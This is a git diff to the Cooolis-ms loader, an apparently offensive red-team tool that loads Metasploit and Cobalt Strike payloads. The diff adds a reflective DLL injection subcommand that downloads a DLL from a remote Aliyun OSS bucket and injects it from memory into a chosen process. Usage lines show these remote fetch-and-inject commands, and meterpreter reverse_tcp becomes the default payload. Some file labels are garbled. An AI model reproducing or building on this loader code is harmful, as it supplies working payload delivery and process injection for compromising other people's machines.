ws2_32.lib;Advapi32.lib;Winhttp.lib;%(AdditionalDependencies) @@ -163,19 +163,23 @@ true true false - ws2_32.lib;Advapi32.lib;%(AdditionalDependencies) + ws2_32.lib;Advapi32.lib;Winhttp.lib;%(AdditionalDependencies) + + + + diff --git a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-ms.vcxproj.filters b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-ms.vcxproj.filters index e550600..a33bcc2 100644 --- a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-ms.vcxproj.filters +++ b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-ms.vcxproj.filters @@ -27,6 +27,12 @@ 婧愭枃浠 + + 婧愭枃浠 + + + 婧愭枃浠 + @@ -44,5 +50,11 @@ 澶存枃浠 + + 澶存枃浠 + + + 澶存枃浠 + \ No newline at end of file diff --git a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-msf.h b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-msf.h index 45c1760..64fe702 100644 --- a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-msf.h +++ b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-msf.h @@ -31,7 +31,7 @@ class CCooolisMetasploit BOOL ConnectServer(std::string host, USHORT port); VOID GoodCooolis(); private: - SOCKET socks; // 套接字 + SOCKET socks = NULL; // 套接字 stager* getStager; HANDLE hThread = NULL; // 线程句柄 diff --git a/Cooolis-ms-Loader/Cooolis-ms/source.cpp b/Cooolis-ms-Loader/Cooolis-ms/source.cpp index ec68889..cc9922e 100644 --- a/Cooolis-ms-Loader/Cooolis-ms/source.cpp +++ b/Cooolis-ms-Loader/Cooolis-ms/source.cpp @@ -11,6 +11,10 @@ SubCommand : Metasploit RPC e.g. Cooolis-ms-x86.exe metasploit -H 1.1.1.1 -P 2222 +SubCommand : Reflective DLL injection + +e.g. Cooolis-ms-x86.exe reflective -f reflective_dll.dll -p PID +e.g. Cooolis-ms-x86.exe reflective -b XXX.oss-cn-XXX.aliyuncs.com -u /reflective86.dll ***************************/ @@ -18,9 +22,11 @@ e.g. Cooolis-ms-x86.exe metasploit -H 1.1.1.1 -P 2222 #include "Cooolis-msf.h" #include "Cooolis-ExternalC2.h" +#include "Cooolis-Reflective.h" +#include "Cooolis-Http.h" #include "rang.hpp" #include "CLI11.hpp" - +#include int main(int argc, char** argv) { @@ -28,7 +34,11 @@ int main(int argc, char** argv) std::string msf_payload = ""; std::string msf_options = ""; std::string server_host = ""; - CLI::App app{ "Version v1.1.3" }; + std::string reflective_oss_bucket = ""; + std::string reflective_file = ""; + std::string reflective_uri_file = ""; + DWORD dwReflectiveProcessId = NULL; + CLI::App app{ "Version v1.1.4" }; app.require_subcommand(1); @@ -37,11 +47,11 @@ int main(int argc, char** argv) auto metasploit = app.add_subcommand("metasploit", "Metasploit RPC Loader"); - metasploit->add_option("-p,--payload", msf_payload, "Payload Name, e.g. windows/meterpreter/reverse_tcp"); + metasploit->add_option("-p,--payload", msf_payload, "Payload Name, e.g. windows/meterpreter/reverse_tcp")->default_str("windows/meterpreter/reverse_tcp"); metasploit->add_option("-o,--options", msf_options, "Payload options, e.g. LHOST=1.1.1.1,LPORT=8866"); - metasploit->add_option("-P,--PORT", server_port, "RPC Server Port")->check(CLI::Range(1, 65535))->required(); + metasploit->add_option("-P,--PORT", server_port, "RPC Server Port")->check(CLI::Range(1, 65535))->default_val(8899)->required(); metasploit->add_option("-H,--HOST", server_host, "RPC Server Host")->check(CLI::ValidIPV4)->required(); metasploit->callback([&]() { @@ -62,7 +72,7 @@ int main(int argc, char** argv) }); // [Cobaltstrike] - auto cobaltstrike = app.add_subcommand("cobaltstrike", "Cobaltstrike External C2 Loader"); + auto cobaltstrike = app.add_subcommand("cobaltstrike", "Cobalt Strike External C2 Loader"); cobaltstrike->add_option("-P,--PORT", server_port, "External C2 Port")->check(CLI::Range(1, 65535))->required(); cobaltstrike->add_option("-H,--HOST", server_host, "External C2 Host")->check(CLI::ValidIPV4)->required(); @@ -75,6 +85,57 @@ int main(int argc, char** argv) } }); + // [Reflective] + auto reflective = app.add_subcommand("reflective", "Reflective DLL injection"); + reflective->add_option("-f,--file", reflective_file, "Reflective DLL Path")->check(CLI::ExistingFile); + reflective->add_option("-u,--uri", reflective_uri_file, "Reflective DLL URI"); + reflective->add_option("-b,--bucket", reflective_oss_bucket, "Reflective DLL OSS Bucket"); + reflective->add_option("-p,--pid", dwReflectiveProcessId, "Reflective Inject Process Id")->default_val(GetCurrentProcessId()); + + reflective->callback([&]() { + CCooolisReflective* CooolisReflective = new CCooolisReflective; + // 优先尝试本地加载 + if (reflective_file.empty() == FALSE) { + CooolisReflective->ReflectiveInject(dwReflectiveProcessId, reflective_file); + }else { + // 如果oss bucket和URI为空,则抛出错误提示 + if (reflective_oss_bucket.empty() || reflective_uri_file.empty()) { + std::cout << "[*] The Bucket or Reflective DLL URI is Empty." << std::endl; + std::cout << app.help() << std::endl; + return FALSE; + } + // 正常执行.... + + CCooolisHttp* CooolisHttp = new CCooolisHttp; + + LPVOID lpBuffer = NULL; // DLL 内存地址 + DWORD dwBufferSize = 0; // DLL 大小 + + + std::wstring reflective_oss_bucket_ws, reflective_uri_file_ws; + std::wstring_convert, wchar_t> converter; + reflective_oss_bucket_ws = converter.from_bytes(reflective_oss_bucket); + reflective_uri_file_ws = converter.from_bytes(reflective_uri_file); + + // 连接OSS + if (!CooolisHttp->ConnectServer(reflective_oss_bucket_ws.data(), 443)) { + std::cout << "[*] Can't Connect Aliyun Bucket." << std::endl; + std::cout << app.help() << std::endl; + return FALSE; + } + + lpBuffer = CooolisHttp->ReadHttpFile(reflective_uri_file_ws.data(), dwBufferSize); // 读取文件 + + CooolisReflective->ReflectiveInject(dwReflectiveProcessId, lpBuffer, dwBufferSize); // 注入DLL + + // 释放内存 + HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, lpBuffer); + delete CooolisHttp; + } + delete CooolisReflective; + return TRUE; + }); + try { CLI11_PARSE(app, argc, argv);